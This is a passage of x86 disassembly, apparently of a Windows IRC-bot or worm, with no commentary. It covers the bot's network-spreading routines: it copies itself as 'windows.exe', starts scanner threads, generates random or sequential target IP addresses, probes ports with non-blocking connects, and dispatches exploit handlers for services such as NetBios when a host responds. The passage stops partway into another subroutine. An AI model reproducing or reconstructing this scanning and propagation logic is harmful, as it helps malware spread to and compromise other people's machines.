push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40B3C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B494(int,char *Str,int)
sub_40B494 proc near ; CODE XREF: sub_40274D+28CFp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4D400C
mov ecx, dword_4D4008
push esi
push dword_4D1FD0
lea esi, [ecx+eax]
call sub_41D5F8
push eax
push esi
push dword_4D400C
lea eax, [ebp+Dest]
push dword_4D4008
push offset asc_432A50 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 34h
pop esi
leave
retn
sub_40B494 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B4FF(int,char *Str,int)
sub_40B4FF proc near ; CODE XREF: sub_40274D+28BCp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4D1FD0
call sub_41D5F8
push eax
push dword_4D5258
lea eax, [ebp+Dest]
push offset asc_432A98 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 2Ch
leave
retn
sub_40B4FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B553(int,char *Str,int)
sub_40B553 proc near ; CODE XREF: sub_40274D+28A9p
Source = byte ptr -1000h
Dest = byte ptr -800h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call __alloca_probe
push edi
lea eax, [ebp+Dest]
push offset asc_432AE4 ; "-"
push eax ; Dest
call _sprintf
cmp dword_43D878, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B5BF
push esi
mov esi, offset aNetbios ; "NetBios"
loc_40B588: ; CODE XREF: sub_40B553+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+Source]
push offset asc_432AD4 ; " "
push eax ; Dest
call _sprintf
push edi ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B588
pop esi
loc_40B5BF: ; CODE XREF: sub_40B553+2Dj
push dword_4D1FD0
call sub_41D5F8
push eax
lea eax, [ebp+Source]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax ; Dest
call _sprintf
push edi ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 34h
pop edi
leave
retn
sub_40B553 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B619(int,char *Str,int,int)
sub_40B619 proc near ; CODE XREF: sub_40274D+2224p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B075
test eax, eax
pop ecx
jle short loc_40B655
mov eax, [ebp+arg_C]
push dword_4D1FF0[eax*8]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_432B20 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40B668
; ---------------------------------------------------------------------------
loc_40B655: ; CODE XREF: sub_40B619+13j
lea eax, [ebp+Dest]
push offset asc_432B00 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40B668: ; CODE XREF: sub_40B619+3Aj
push 0 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 18h
leave
retn
sub_40B619 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B690(int,int,int,int,char Source,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_40B690 proc near ; CODE XREF: sub_40BEFE+51p
var_208 = dword ptr -208h
Dest = byte ptr -204h
var_4 = byte ptr -4
Source = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
cmp eax, 0FFFFFFFFh
jz locret_40BB49
push ebx
shl eax, 6
xor ebx, ebx
cmp dword_43D884[eax], ebx
jz loc_40BB48
push esi
push 5
call sub_40B075
test eax, eax
pop ecx
jnz loc_40B90A
mov eax, dword_43C074
push edi
push 104h
mov esi, offset dword_4D470C
push esi
push ebx
mov dword_4D491C, eax
mov dword_4D4918, ebx
call ds:dword_42B00C ; GetModuleFileNameA
push 103h ; Count
mov edi, offset aWindows_exe ; "windows.exe"
push edi ; Source
push offset byte_4D4810 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D4708, eax
mov eax, [ebp+arg_138]
mov dword_4D49A0, eax
push 7Fh ; Count
jnz short loc_40B740
lea eax, [ebp+Source]
push eax ; Source
push offset byte_4D4920 ; Dest
call _strncpy
mov dword_4D49A4, 1
jmp short loc_40B757
; ---------------------------------------------------------------------------
loc_40B740: ; CODE XREF: sub_40B690+94j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4D4920 ; Dest
call _strncpy
mov dword_4D49A4, ebx
loc_40B757: ; CODE XREF: sub_40B690+AEj
add esp, 0Ch
push esi
push dword_4D491C
lea eax, [ebp+Dest]
push offset asc_42F298 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 5 ; int
push eax ; Source
call sub_40AE85
add esp, 1Ch
mov dword_4D4914, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D4708
push offset sub_4146A1
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, dword_4D4914
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz loc_40B85B
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_432C40 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40B7D5: ; CODE XREF: sub_40B690+1D3j
lea eax, [ebp+Dest]
push eax
call sub_417D70
mov eax, dword_4D1FE4
mov [esp+208h+var_208], 104h
mov esi, offset dword_4D4464
push esi
push ebx
mov dword_4D4674, eax
mov dword_4D4670, ebx
call ds:dword_42B00C ; GetModuleFileNameA
push 103h ; Count
push edi ; Source
push offset byte_4D4568 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D4460, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4D46F8, eax
push 7Fh ; Count
jnz short loc_40B868
lea eax, [ebp+Source]
push eax ; Source
push offset byte_4D4678 ; Dest
call _strncpy
mov dword_4D46FC, 1
jmp short loc_40B87F
; ---------------------------------------------------------------------------
loc_40B853: ; CODE XREF: sub_40B690+1D1j
push 32h
call ds:dword_42B014 ; Sleep
loc_40B85B: ; CODE XREF: sub_40B690+124j
cmp dword_4D49A8, ebx
jz short loc_40B853
jmp loc_40B7D5
; ---------------------------------------------------------------------------
loc_40B868: ; CODE XREF: sub_40B690+1A7j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4D4678 ; Dest
call _strncpy
mov dword_4D46FC, ebx
loc_40B87F: ; CODE XREF: sub_40B690+1C1j
add esp, 0Ch
push esi
push dword_4D4674
lea eax, [ebp+Dest]
push offset asc_432C0C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 4 ; int
push eax ; Source
call sub_40AE85
add esp, 1Ch
mov dword_4D466C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D4460
push offset sub_411B17
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, dword_4D466C
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz loc_40B983
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_432BD8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40B8FD: ; CODE XREF: sub_40B690+2FBj
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
loc_40B90A: ; CODE XREF: sub_40B690+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43D88C[ecx], ebx
jz loc_40BA37
push 7
call sub_40B075
test eax, eax
pop ecx
jnz loc_40BA31
cmp [ebp+arg_90], bl
mov eax, dword_4D525C
mov dword_4D43CC, eax
mov eax, [ebp+arg_110]
mov dword_4D43C0, eax
mov eax, [ebp+arg_138]
mov dword_4D43C8, ebx
mov dword_4D4450, eax
push 7Fh ; Count
jnz short loc_40B990
lea eax, [ebp+Source]
push eax ; Source
push offset byte_4D43D0 ; Dest
call _strncpy
mov dword_4D4454, 1
jmp short loc_40B9A7
; ---------------------------------------------------------------------------
loc_40B97B: ; CODE XREF: sub_40B690+2F9j
push 32h
call ds:dword_42B014 ; Sleep
loc_40B983: ; CODE XREF: sub_40B690+24Cj
cmp dword_4D4700, ebx
jz short loc_40B97B
jmp loc_40B8FD
; ---------------------------------------------------------------------------
loc_40B990: ; CODE XREF: sub_40B690+2CFj
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4D43D0 ; Dest
call _strncpy
mov dword_4D4454, ebx
loc_40B9A7: ; CODE XREF: sub_40B690+2E9j
add esp, 0Ch
push dword_4D43CC
lea eax, [ebp+Dest]
push offset asc_432BA8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 7 ; int
push eax ; Source
call sub_40AE85
add esp, 18h
mov dword_4D43C4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D43C0
push offset sub_411722
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, dword_4D43C4
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz loc_40BB53
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_432B70 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40BA24: ; CODE XREF: sub_40B690+4CBj
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
loc_40BA31: ; CODE XREF: sub_40B690+29Bj
mov eax, [ebp+arg_130]
loc_40BA37: ; CODE XREF: sub_40B690+28Bj
shl eax, 6
cmp dword_43D888[eax], ebx
jz loc_40BB47
push 3
call sub_40B075
test eax, eax
pop ecx
jnz loc_40BB47
push 104h
mov esi, offset byte_4D429C
push esi
push ebx
call ds:dword_42B00C ; GetModuleFileNameA
push 5Ch ; Ch
push esi ; Str
call _strrchr
cmp eax, ebx
pop ecx
pop ecx
jz short loc_40BA78
mov [eax], bl
loc_40BA78: ; CODE XREF: sub_40B690+3E4j
mov eax, dword_43C078
mov dword_4D43A0, eax
lea eax, [ebp+Source]
push eax ; Format
push offset byte_4D4014 ; Dest
mov dword_4D43B4, ebx
call _sprintf
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov ecx, [ebp+arg_138]
push esi
push dword_4D43A0
mov dword_4D43AC, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4D4010, eax
mov dword_4D43B0, ecx
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_42F220 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 3 ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov dword_4D43A8, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D4010
push offset sub_412DD9
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, dword_4D43A8
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_40BB68
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_432B3C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40BB3A: ; CODE XREF: sub_40B690+4E0j
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
loc_40BB47: ; CODE XREF: sub_40B690+3B0j
; sub_40B690+3C0j
pop esi
loc_40BB48: ; CODE XREF: sub_40B690+24j
pop ebx
locret_40BB49: ; CODE XREF: sub_40B690+12j
leave
retn
; ---------------------------------------------------------------------------
loc_40BB4B: ; CODE XREF: sub_40B690+4C9j
push 32h
call ds:dword_42B014 ; Sleep
loc_40BB53: ; CODE XREF: sub_40B690+373j
cmp dword_4D4458, ebx
jz short loc_40BB4B
jmp loc_40BA24
; ---------------------------------------------------------------------------
loc_40BB60: ; CODE XREF: sub_40B690+4DEj
push 32h
call ds:dword_42B014 ; Sleep
loc_40BB68: ; CODE XREF: sub_40B690+48Dj
cmp dword_4D43BC, ebx
jz short loc_40BB60
jmp short loc_40BB3A
sub_40B690 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BB72(int Dst)
sub_40BB72 proc near ; CODE XREF: sub_40BCF3:loc_40BD57p
Dst = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+Dst]
push 4 ; Size
lea esi, ds:4D1FF0h[esi*8]
lea eax, [ebp+Dst]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_4441DC ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_444234 ; htonl
mov [ebp+Dst], eax
push 4 ; Size
lea eax, [ebp+Dst]
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BB72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BBBA(char *Src,int)
sub_40BBBA proc near ; CODE XREF: sub_40BCF3+5Cp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push [ebp+Src] ; Str
or esi, 0FFFFFFFFh
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call _strlen
cmp eax, 0Fh
pop ecx
jbe short loc_40BBE2
xor eax, eax
jmp short loc_40BC53
; ---------------------------------------------------------------------------
loc_40BBE2: ; CODE XREF: sub_40BBBA+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+Src] ; Src
call _sscanf
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40BC0F
call _rand
mov [ebp+var_C], eax
loc_40BC0F: ; CODE XREF: sub_40BBBA+4Bj
cmp [ebp+var_8], esi
jnz short loc_40BC1C
call _rand
mov [ebp+var_8], eax
loc_40BC1C: ; CODE XREF: sub_40BBBA+58j
cmp [ebp+var_4], esi
jnz short loc_40BC29
call _rand
mov [ebp+var_4], eax
loc_40BC29: ; CODE XREF: sub_40BBBA+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40BC35
call _rand
loc_40BC35: ; CODE XREF: sub_40BBBA+74j
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_4]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4D1FF0[ecx*8], eax
loc_40BC53: ; CODE XREF: sub_40BBBA+26j
pop esi
leave
retn
sub_40BBBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC56 proc near ; CODE XREF: sub_40BCF3+ABp
; sub_40C15B+5Ep ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
push ebx
inc edi
push edi
push 2
mov [ebp+var_4], edi
call dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40BC7F
xor eax, eax
jmp short loc_40BCEE
; ---------------------------------------------------------------------------
loc_40BC7F: ; CODE XREF: sub_40BC56+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_444260 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_444094 ; ioctlsocket
push 10h
lea eax, [ebp+var_1C]
push eax
push esi
call dword_4440AC ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
push ebx
lea eax, [ebp+var_120]
push eax
push ebx
push ebx
mov [ebp+var_8], ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4441B0 ; select
push esi
mov edi, eax
call dword_444218 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40BCEE: ; CODE XREF: sub_40BC56+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40BC56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_40BCF3 proc near ; DATA XREF: sub_40BEFE+140o
var_31C = dword ptr -31Ch
Dest = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
Src = byte ptr -150h
var_140 = byte ptr -140h
Str = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 28Ch
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+74h+Src]
rep movsd
mov esi, [ebp+74h+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+74h+var_28]
mov [ebp+74h+var_4], esi
mov [ebp+74h+arg_0], eax
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_40BEDA
; ---------------------------------------------------------------------------
loc_40BD41: ; CODE XREF: sub_40BCF3+1F5j
cmp [ebp+74h+var_10], 0
push eax ; Dst
jz short loc_40BD57
lea eax, [ebp+74h+Src]
push eax ; Src
call sub_40BBBA
pop ecx
jmp short loc_40BD5C
; ---------------------------------------------------------------------------
loc_40BD57: ; CODE XREF: sub_40BCF3+53j
call sub_40BB72
loc_40BD5C: ; CODE XREF: sub_40BCF3+62j
pop ecx
push [ebp+74h+arg_0]
mov edi, eax
push dword_4444EC[ebx]
push [ebp+74h+var_3C]
push edi
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Dest]
push offset asc_432C9C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+74h+Dest]
push eax ; Format
lea eax, dword_4442E8[ebx]
push eax ; Dest
call _sprintf
push [ebp+74h+var_38]
push [ebp+74h+var_3C]
push edi
call sub_40BC56
add esp, 2Ch
cmp eax, 1
jnz loc_40BECF
cmp [ebp+74h+var_20], 0FFFFFFFFh
jnz short loc_40BE2A
push offset dword_4D3FF0
call ds:dword_42B070 ; RtlEnterCriticalSection
push [ebp+74h+var_3C]
push edi
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Dest]
push offset asc_432C74 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+74h+var_14], 0
jnz short loc_40BE0C
cmp [ebp+74h+Str], 0
push 1 ; int
push [ebp+74h+var_18] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
jnz short loc_40BE00
lea eax, [ebp+74h+var_140]
loc_40BE00: ; CODE XREF: sub_40BCF3+105j
push eax ; Str
push [ebp+74h+var_40] ; int
call sub_40123B
add esp, 14h
loc_40BE0C: ; CODE XREF: sub_40BCF3+F0j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
mov [esp+2A8h+var_31C], offset dword_4D3FF0
call ds:dword_42B06C ; RtlLeaveCriticalSection
jmp loc_40BECF
; ---------------------------------------------------------------------------
loc_40BE2A: ; CODE XREF: sub_40BCF3+C0j
push edi
call dword_444188 ; inet_ntoa
push eax ; Format
lea eax, [ebp+74h+var_208]
push eax ; Dest
call _sprintf
mov eax, [ebp+74h+var_20]
shl eax, 6
add eax, offset aNetbios_0 ; "netbios"
push eax ; Format
lea eax, [ebp+74h+var_178]
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+74h+Str], 0
lea eax, [ebp+74h+Str]
jnz short loc_40BE68
lea eax, [ebp+74h+var_140]
loc_40BE68: ; CODE XREF: sub_40BCF3+16Dj
push eax ; Format
lea eax, [ebp+74h+var_1F8]
push eax ; Dest
call _sprintf
mov eax, [ebp+74h+var_40]
mov [ebp+74h+var_20C], eax
mov eax, [ebp+74h+var_18]
mov [ebp+74h+var_15C], eax
mov eax, [ebp+74h+var_14]
pop ecx
pop ecx
mov [ebp+74h+var_158], eax
mov eax, [ebp+74h+var_3C]
sub esp, 0BCh
mov [ebp+74h+var_16C], eax
mov eax, [ebp+74h+var_20]
push 2Fh
pop ecx
mov [ebp+74h+var_168], esi
mov [ebp+74h+var_164], eax
lea esi, [ebp+74h+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43D87C[eax]
mov esi, [ebp+74h+var_4]
add esp, 0BCh
loc_40BECF: ; CODE XREF: sub_40BCF3+B6j
; sub_40BCF3+132j
push 7D0h
call ds:dword_42B014 ; Sleep
loc_40BEDA: ; CODE XREF: sub_40BCF3+49j
mov eax, dword_4444EC[ebx]
cmp dword_4D1FF4[eax*8], 0
jnz loc_40BD41
push esi
call sub_40B149
pop ecx
push 0
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_40BCF3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_40BEFE proc near ; DATA XREF: sub_40274D+1D8Fo
; sub_40274D+5963o
var_280 = dword ptr -280h
Source = byte ptr -1CCh
var_14C = byte ptr -14Ch
Str = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 1CCh
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 53h
pop ecx
mov esi, eax
xor ebx, ebx
lea edi, [ebp+74h+var_14C]
rep movsd
inc ebx
mov [eax+144h], ebx
lea eax, [ebp+74h+var_14C]
push eax
call dword_44417C ; inet_addr
mov ecx, [ebp+74h+var_2C]
sub esp, 14Ch
mov dword_4D1FF0[ecx*8], eax
push 53h
pop ecx
lea esi, [ebp+74h+var_14C]
mov edi, esp
rep movsd
call sub_40B690
push 0Bh
call sub_40B075
add esp, 150h
cmp eax, ebx
jnz short loc_40BFD1
mov esi, offset dword_4D3FF0
push esi
call ds:dword_42B078 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_42B074 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40BFD1
lea eax, [ebp+74h+Source]
push offset asc_432D80 ; "-"
push eax ; Dest
call _sprintf
xor ebx, ebx
cmp [ebp+74h+var_10], ebx
pop ecx
pop ecx
jnz short loc_40BFB8
push ebx ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+Source]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_3C] ; int
call sub_40123B
add esp, 14h
loc_40BFB8: ; CODE XREF: sub_40BEFE+9Bj
lea eax, [ebp+74h+Source]
push eax
call sub_417D70
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 74h
leave
retn 4
; ---------------------------------------------------------------------------
loc_40BFD1: ; CODE XREF: sub_40BEFE+65j
; sub_40BEFE+81j
mov eax, [ebp+74h+var_2C]
mov esi, ds:dword_42B014
mov dword_4D1FF4[eax*8], ebx
mov edi, ebx
xor ebx, ebx
cmp [ebp+74h+var_20], 1
jb loc_40C093
loc_40BFEF: ; CODE XREF: sub_40BEFE+18Fj
push edi
push [ebp+74h+var_2C]
lea eax, [ebp+74h+var_14C]
push [ebp+74h+var_38]
mov [ebp+74h+var_24], edi
push eax
lea eax, [ebp+74h+Source]
push offset asc_432D4C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+74h+Source]
push 0Bh ; int
push eax ; Source
call sub_40AE85
mov ecx, [ebp+74h+var_2C]
mov [ebp+74h+var_28], eax
imul eax, 234h
add esp, 24h
push ebx
push ebx
mov dword_4444EC[eax], ecx
lea eax, [ebp+74h+var_14C]
push eax
push offset sub_40BCF3
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+74h+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_40C0AA
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+74h+Source]
push offset asc_432D14 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+74h+Source]
push eax
call sub_417D70
add esp, 10h
loc_40C085: ; CODE XREF: sub_40BEFE+1B1j
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+74h+var_20]
jbe loc_40BFEF
loc_40C093: ; CODE XREF: sub_40BEFE+EBj
cmp [ebp+74h+var_30], ebx
jz short loc_40C0B8
mov eax, [ebp+74h+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_40C0C5
; ---------------------------------------------------------------------------
loc_40C0A6: ; CODE XREF: sub_40BEFE+1AFj
push 1Eh
call esi ; Sleep
loc_40C0AA: ; CODE XREF: sub_40BEFE+15Ej
cmp [ebp+74h+var_4], ebx
jz short loc_40C0A6
jmp short loc_40C085
; ---------------------------------------------------------------------------
loc_40C0B1: ; CODE XREF: sub_40BEFE+1C5j
push 7D0h
call esi ; Sleep
loc_40C0B8: ; CODE XREF: sub_40BEFE+198j
mov eax, [ebp+74h+var_2C]
cmp dword_4D1FF4[eax*8], 1
jz short loc_40C0B1
loc_40C0C5: ; CODE XREF: sub_40BEFE+1A6j
push [ebp+74h+var_30]
mov eax, [ebp+74h+var_2C]
push [ebp+74h+var_38]
mov eax, dword_4D1FF0[eax*8]
push eax
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_432CD4 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+74h+var_10], ebx
jnz short loc_40C113
push ebx ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+Source]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_3C] ; int
call sub_40123B
add esp, 14h
loc_40C113: ; CODE XREF: sub_40BEFE+1F6j
lea eax, [ebp+74h+Source]
push eax
call sub_417D70
mov eax, [ebp+74h+var_2C]
mov dword_4D1FF4[eax*8], ebx
mov [esp+20Ch+var_280], 0BB8h
call esi ; Sleep
push 0Bh
call sub_40B075
cmp eax, 1
pop ecx
jnz short loc_40C14A
push offset dword_4D3FF0
call ds:dword_42B078 ; RtlDeleteCriticalSection
loc_40C14A: ; CODE XREF: sub_40BEFE+23Fj
push [ebp+74h+var_2C]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_40BEFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_40C15B proc near ; DATA XREF: sub_40274D+2EC6o
